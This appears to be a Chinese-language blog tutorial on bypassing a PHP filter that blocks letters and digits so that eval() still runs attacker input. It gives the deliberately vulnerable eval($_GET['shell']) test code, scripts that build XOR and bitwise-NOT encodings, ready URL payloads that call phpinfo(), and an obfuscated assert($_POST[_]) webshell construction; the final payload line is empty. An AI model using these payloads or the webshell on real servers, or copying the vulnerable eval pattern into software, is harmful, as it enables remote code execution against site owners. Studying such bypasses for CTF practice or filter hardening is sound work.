绕过字符数字构造shell

绕过字符数字构造shell

测试源码

<?php
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
      eval($_GET['shell']);
    }
    //如果shell中不 还有字母和数字,则可以执行eval语句
   //也就是说shell参数中不能有字母与数字
?>

异或绕过

异或的符号是^,是一种运算符。

1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0

字母数字被过滤,他们的ascii码处于48-122 ,我们就需要利用这个范围以外的字符来进行绕过

运行字典脚本:

<?php
for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|     %84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v     %8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s                                %8D^%FF=>r     %8E^%FF=>q         %8F^%FF=>p    %90^%FF=>o       %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j    %96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d    %9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^    %A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X    %A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R  %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L    %B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F    %BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@    %C0^%FF=>?

我们通过此表构造一个phpinfo()函数的payload

${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
//%a0^%ff => _
//%b8^%ff =>G
//%ba^%ff =>E
//%ab^%ff =>T
//在php里$_GET = ${_GET}  $_GET[]中方括号可以替换为{}   
//经get传参时会进行一次urldecode因而达到绕过的效果:
//${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(); =>${_GET}{%ff}()

image-20201221185007629

取反绕过

既可以通过异或进行绕过,取反也是可以的

我们先看看如何通过取反符~来构造phpinfo()

(~%8F%97%8F%96%91%99%90)();

image-20201221192140991

可以看到直接输出取反的phpinfo会出现一些不可见字符,我们需要进行urlencode

然后在进行攻击时再取反即可使用~(urlencode的字符)

image-20201221192606900

取反脚本:

<?php
  $a=urlencode(~'phpinfo');//%8F%97%8F%96%91%99%90
echo $a;
?>

构造assert字符

第一种方法:通过异或绕过

%9E^%FF=>a
 %8C^%FF=>s
 %9A^%FF=>e
 %8D^%FF=>r
 %8B^%FF=>t
 
  %A0^%FF=>_    
 %AF^%FF=>P 
 %B0^%FF=>O
 %AC^%FF=>S
 %AB^%FF=>T 
    
$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";//assert
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";//_POST
$___=$$__;//$__=$_POST
$_($___[_]);//assert($_POST[_])

payload:


https://hetian.blog.csdn.net/article/details/111189424

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *